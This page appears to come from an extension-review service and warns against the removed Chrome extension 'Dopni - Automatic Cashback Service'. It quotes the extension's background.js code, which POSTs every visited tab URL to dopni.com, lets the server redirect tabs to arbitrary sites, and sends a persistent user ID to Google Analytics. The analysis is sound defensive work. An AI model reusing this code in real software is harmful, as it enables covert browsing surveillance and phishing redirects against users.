Chrome Web StoreDo not install
Store removal · confirmed in code review
The Chrome Web Store removed this extension as malware (as of May 2021). Our own code review independently reached the same conclusion. Do not install it. Remove it if you already have it.
Dopni - Automatic Cashback Service
ID: ekafoahfmdgaeefeeneiijbehnbocbij
Supported Languages
Extension Info & Metadata
This publisher
1 extension, all still listed
Publisher Contextual Analysis
- Author
- dopni.comView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- Yes
- Mailbox exists
- Yes
- Website
- Visit
The `go` field from the dopni.com server response is used to redirect the active tab using `new URL(n.go, "https://dopni.com")`. Because `URL()` resolves absolute URLs regardless of the supplied base, the server can supply any absolute URL (e.g., a phishing domain) and the extension will silently redirect the user there — granting the remote server full arbitrary tab-redirect capability on every page visit.
var e = new URL(n.go, "https://dopni.com");chrome.tabs.update(t.id, { url: e.href }, l.updateTabCB.bind(l.updateTabCB, n)) ... // Also at onVerifyLink: var e = new URL(r.go, "https://dopni.com");chrome.tabs.update(t.id, { url: e.href}, l.updateTabCB.bind(l.updateTabCB, r))On every tab update (loading or complete), the full page URL is POSTed to `https://dopni.com/site/api/client/link/verify`. The CWS listing declares no data collection whatsoever, making this undisclosed mass collection of the user's complete browsing history sent to a remote third-party server.
function i(t) { return e({ url: "".concat("https://dopni.com", "/site/api/client/link/verify"), body: { link: t } })}...l.onUpdated: function(t, r, n) { r && r.status && ("loading" === r.status || "complete" === r.status) && ( f.getCurrentUser((function() { i(n.url) // sends every tab URL to dopni.com .then(...)A persistent user identity (`user_data.id`, assigned by dopni.com) is exfiltrated to Google Analytics on every page-reload event. This tracks individual users across all browsing sessions without any disclosure in the CWS privacy-collection fields, and correlates the user's dopni account ID with browsing activity in a third-party analytics platform.
function u(t, r, n) { chrome.storage.local.get("user_data", (function(e) { if (e && e.hasOwnProperty("user_data")) { var o = "https://www.google-analytics.com/collect?v=1&tid=".concat(encodeURIComponent( "UA-195868583-1"), "&cid=") .concat(encodeURIComponent(e.user_data.id), "&t=event&ec=") .concat(encodeURIComponent(t), "&ea=") .concat(encodeURIComponent(r)); o += n ? "&el=".concat(encodeURIComponent(n), "&z=") .concat(Date.now()) : "&z=".concat(Date.now()); var i = new XMLHttpRequest; i.open("GET", o), i.send() } }))}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.0.2.010 | 3 |
Files with findings
1 distinct path — top paths by unique finding count:
- background.js3
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
About this extension
Up to 60% refunds for purchases online
Read the publisher’s full description
You buy online - We refund % of money from these purchases
Screenshots & videos
Install growth
User reviews
Extension files
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.